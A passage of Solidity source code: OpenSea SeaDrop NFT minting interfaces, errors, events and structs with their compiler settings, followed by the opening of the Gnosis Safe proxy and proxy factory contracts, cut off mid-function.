If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external;\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external;\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the administrator can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external;\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external;\n}\n"
},
"src/interfaces/ISeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n MintParams,\n PublicDrop,\n TokenGatedDropStage,\n TokenGatedMintParams,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"../lib/SeaDropErrorsAndEvents.sol\";\n\ninterface ISeaDrop is SeaDropErrorsAndEvents {\n /**\n * @notice Mint a public drop.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n */\n function mintPublic(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity\n ) external payable;\n\n /**\n * @notice Mint from an allow list.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param proof The proof for the leaf of the allow list.\n */\n function mintAllowList(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n bytes32[] calldata proof\n ) external payable;\n\n /**\n * @notice Mint with a server-side signature.\n * Note that a signature can only be used once.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param salt The sale for the signed mint.\n * @param signature The server-side signature, must be an allowed\n * signer.\n */\n function mintSigned(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n uint256 salt,\n bytes calldata signature\n ) external payable;\n\n /**\n * @notice Mint as an allowed token holder.\n * This will mark the token id as redeemed and will revert if the\n * same token id is attempted to be redeemed twice.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param mintParams The token gated mint params.\n */\n function mintAllowedTokenHolder(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n TokenGatedMintParams calldata mintParams\n ) external payable;\n\n /**\n * @notice Emits an event to notify update of the drop URI.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Updates the public drop data for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(PublicDrop calldata publicDrop) external;\n\n /**\n * @notice Updates the allow list merkle root for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param allowListData The allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Updates the token gated drop stage for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during\n * the `dropStage` time period.\n *\n * @param allowedNftToken The token gated nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Updates the creator payout address and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payoutAddress The creator payout address.\n */\n function updateCreatorPayoutAddress(address payoutAddress) external;\n\n /**\n * @notice Updates the allowed fee recipient and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param feeRecipient The fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(address feeRecipient, bool allowed)\n external;\n\n /**\n * @notice Updates the allowed server-side signers and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address signer,\n SignedMintValidationParams calldata signedMintValidationParams\n ) external;\n\n /**\n * @notice Updates the allowed payer and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payer The payer to add or remove.\n * @param allowed Whether to add or remove the payer.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Returns the public drop data for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPublicDrop(address nftContract)\n external\n view\n returns (PublicDrop memory);\n\n /**\n * @notice Returns the creator payout address for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getCreatorPayoutAddress(address nftContract)\n external\n view\n returns (address);\n\n /**\n * @notice Returns the allow list merkle root for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getAllowListMerkleRoot(address nftContract)\n external\n view\n returns (bytes32);\n\n /**\n * @notice Returns if the specified fee recipient is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param feeRecipient The fee recipient.\n */\n function getFeeRecipientIsAllowed(address nftContract, address feeRecipient)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns an enumeration of allowed fee recipients for an\n * nft contract when fee recipients are enforced\n *\n * @param nftContract The nft contract.\n */\n function getAllowedFeeRecipients(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the server-side signers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getSigners(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the struct of SignedMintValidationParams for a signer.\n *\n * @param nftContract The nft contract.\n * @param signer The signer.\n */\n function getSignedMintValidationParams(address nftContract, address signer)\n external\n view\n returns (SignedMintValidationParams memory);\n\n /**\n * @notice Returns the payers for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getPayers(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns if the specified payer is allowed\n * for the nft contract.\n *\n * @param nftContract The nft contract.\n * @param payer The payer.\n */\n function getPayerIsAllowed(address nftContract, address payer)\n external\n view\n returns (bool);\n\n /**\n * @notice Returns the allowed token gated drop tokens for the nft contract.\n *\n * @param nftContract The nft contract.\n */\n function getTokenGatedAllowedTokens(address nftContract)\n external\n view\n returns (address[] memory);\n\n /**\n * @notice Returns the token gated drop data for the nft contract\n * and token gated nft.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n */\n function getTokenGatedDrop(address nftContract, address allowedNftToken)\n external\n view\n returns (TokenGatedDropStage memory);\n\n /**\n * @notice Returns whether the token id for a token gated drop has been\n * redeemed.\n *\n * @param nftContract The nft contract.\n * @param allowedNftToken The token gated nft token.\n * @param allowedNftTokenId The token gated nft token id to check.\n */\n function getAllowedNftTokenIdIsRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n ) external view returns (bool);\n}\n"
},
"src/interfaces/ISeaDropTokenContractMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\ninterface ISeaDropTokenContractMetadata is IERC2981 {\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables in ERC721A.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert if the royalty basis points is greater than 10_000.\n */\n error InvalidRoyaltyBasisPoints(uint256 basisPoints);\n\n /**\n * @dev Revert if the royalty address is being set to the zero address.\n */\n error RoyaltyAddressCannotBeZeroAddress();\n\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event when the max token supply is updated.\n */\n event MaxSupplyUpdated(uint256 newMaxSupply);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the royalties info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 bps);\n\n /**\n * @notice A struct defining royalty info for the contract.\n */\n struct RoyaltyInfo {\n address royaltyAddress;\n uint96 royaltyBps;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the max supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() external view returns (uint256);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address);\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256);\n}\n"
},
"src/lib/ERC721SeaDropStructsErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n PublicDrop,\n SignedMintValidationParams,\n TokenGatedDropStage\n} from \"./SeaDropStructs.sol\";\n\ninterface ERC721SeaDropStructsErrorsAndEvents {\n /**\n * @notice Revert with an error if mint exceeds the max supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Revert with an error if the number of token gated \n * allowedNftTokens doesn't match the length of supplied\n * drop stages.\n */\n error TokenGatedMismatch();\n\n /**\n * @notice Revert with an error if the number of signers doesn't match\n * the length of supplied signedMintValidationParams\n */\n error SignersMismatch();\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed();\n\n /**\n * @notice A struct to configure multiple contract options at a time.\n */\n struct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n address seaDropImpl;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n address creatorPayoutAddress;\n bytes32 provenanceHash;\n\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n\n address[] allowedPayers;\n address[] disallowedPayers;\n\n // Token-gated\n address[] tokenGatedAllowedNftTokens;\n TokenGatedDropStage[] tokenGatedDropStages;\n address[] disallowedTokenGatedAllowedNftTokens;\n\n // Server-signed\n address[] signers;\n SignedMintValidationParams[] signedMintValidationParams;\n address[] disallowedSigners;\n }\n}"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { PublicDrop, TokenGatedDropStage, SignedMintValidationParams } from \"./SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity is zero.\n */\n error MintQuantityCannotBeZero();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total, \n uint256 maxTokenSupplyForStage\n );\n \n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed();\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the received payment is incorrect.\n */\n error IncorrectPayment(uint256 got, uint256 want);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if signer's signature is invalid.\n */\n error InvalidSignature(address recoveredSigner);\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n * Note: only applies when adding a single payer, as duplicates in\n * enumeration can be removed with updatePayer.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed();\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the sender does not\n * match the INonFungibleSeaDropToken interface.\n */\n error OnlyINonFungibleSeaDropToken(address sender);\n\n /**\n * @dev Revert with an error if the sender of a token gated supplied\n * drop stage redeem is not the owner of the token.\n */\n error TokenGatedNotTokenOwner(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if the token id has already been used to\n * redeem a token gated drop stage.\n */\n error TokenGatedTokenIdAlreadyRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if an empty TokenGatedDropStage is provided\n * for an already-empty TokenGatedDropStage.\n */\n error TokenGatedDropStageNotPresent();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the zero address.\n */\n error TokenGatedDropAllowedNftTokenCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the drop token itself.\n */\n error TokenGatedDropAllowedNftTokenCannotBeDropToken();\n\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n \n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n \n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n * \n * @param nftContract The nft contract.\n * @param minter The mint recipient.\n * @param feeRecipient The fee recipient.\n * @param payer The address who payed for the tx.\n * @param quantityMinted The number of tokens minted.\n * @param unitMintPrice The amount paid for each token.\n * @param feeBps The fee out of 10_000 basis points collected.\n * @param dropStageIndex The drop stage index. Items minted\n * through mintPublic() have\n * dropStageIndex of 0.\n */\n event SeaDropMint(\n address indexed nftContract,\n address indexed minter,\n address indexed feeRecipient,\n address payer,\n uint256 quantityMinted,\n uint256 unitMintPrice,\n uint256 feeBps,\n uint256 dropStageIndex\n );\n\n /**\n * @dev An event with updated public drop data for an nft contract.\n */\n event PublicDropUpdated(\n address indexed nftContract,\n PublicDrop publicDrop\n );\n\n /**\n * @dev An event with updated token gated drop stage data\n * for an nft contract.\n */\n event TokenGatedDropStageUpdated(\n address indexed nftContract,\n address indexed allowedNftToken,\n TokenGatedDropStage dropStage\n );\n\n /**\n * @dev An event with updated allow list data for an nft contract.\n * \n * @param nftContract The nft contract.\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n address indexed nftContract,\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI for an nft contract.\n */\n event DropURIUpdated(address indexed nftContract, string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address for an nft\n * contract.\n */\n event CreatorPayoutAddressUpdated(\n address indexed nftContract,\n address indexed newPayoutAddress\n );\n\n /**\n * @dev An event with the updated allowed fee recipient for an nft\n * contract.\n */\n event AllowedFeeRecipientUpdated(\n address indexed nftContract,\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated validation parameters for server-side\n * signers.\n */\n event SignedMintValidationParamsUpdated(\n address indexed nftContract,\n address indexed signer,\n SignedMintValidationParams signedMintValidationParams\n ); \n\n /**\n * @dev An event with the updated payer for an nft contract.\n */\n event PayerUpdated(\n address indexed nftContract,\n address indexed payer,\n bool indexed allowed\n );\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param startTime The start time, ensure this is not zero.\n * @param endTIme The end time, ensure this is not zero.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 mintPrice; // 80/256 bits\n uint48 startTime; // 128/256 bits\n uint48 endTime; // 176/256 bits\n uint16 maxTotalMintableByWallet; // 224/256 bits\n uint16 feeBps; // 240/256 bits\n bool restrictFeeRecipients; // 248/256 bits\n}\n\n/**\n * @notice A struct defining token gated drop stage data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m \n * of native token, e.g.: ETH, MATIC)\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be \n * non-zero since the public mint emits\n * with index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct TokenGatedDropStage {\n uint80 mintPrice; // 80/256 bits\n uint16 maxTotalMintableByWallet; // 96/256 bits\n uint48 startTime; // 144/256 bits\n uint48 endTime; // 192/256 bits\n uint8 dropStageIndex; // non-zero. 200/256 bits\n uint32 maxTokenSupplyForStage; // 232/256 bits\n uint16 feeBps; // 248/256 bits\n bool restrictFeeRecipients; // 256/256 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n * \n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n * \n * @param mintPrice The mint price per token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 mintPrice; \n uint256 maxTotalMintableByWallet;\n uint256 startTime;\n uint256 endTime;\n uint256 dropStageIndex; // non-zero\n uint256 maxTokenSupplyForStage;\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @notice A struct defining token gated mint params.\n * \n * @param allowedNftToken The allowed nft token contract address.\n * @param allowedNftTokenIds The token ids to redeem.\n */\nstruct TokenGatedMintParams {\n address allowedNftToken;\n uint256[] allowedNftTokenIds;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n * \n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n\n/**\n * @notice A struct defining minimum and maximum parameters to validate for \n * signed mints, to minimize negative effects of a compromised signer.\n *\n * @param minMintPrice The minimum mint price allowed.\n * @param maxMaxTotalMintableByWallet The maximum total number of mints allowed\n * by a wallet.\n * @param minStartTime The minimum start time allowed.\n * @param maxEndTime The maximum end time allowed.\n * @param maxMaxTokenSupplyForStage The maximum token supply allowed.\n * @param minFeeBps The minimum fee allowed.\n * @param maxFeeBps The maximum fee allowed.\n */\nstruct SignedMintValidationParams {\n uint80 minMintPrice; // 80/256 bits\n uint24 maxMaxTotalMintableByWallet; // 104/256 bits\n uint40 minStartTime; // 144/256 bits\n uint40 maxEndTime; // 184/256 bits\n uint40 maxMaxTokenSupplyForStage; // 224/256 bits\n uint16 minFeeBps; // 240/256 bits\n uint16 maxFeeBps; // 256/256 bits\n}"
}
},
"settings": {
"remappings": [
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"ERC721A/=lib/ERC721A/contracts/",
"create2-helpers/=lib/create2-helpers/src/",
"create2-scripts/=lib/create2-helpers/script/",
"ds-test/=lib/ds-test/src/",
"erc4626-tests/=lib/operator-filter-registry/lib/openzeppelin-contracts/lib/erc4626-tests/",
"forge-std/=lib/forge-std/src/",
"murky/=lib/murky/src/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"operator-filter-registry/=lib/operator-filter-registry/src/",
"seadrop/=src/",
"solmate/=lib/solmate/src/",
"utility-contracts/=lib/utility-contracts/src/"
],
"optimizer": {
"enabled": true,
"runs": 1000000
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
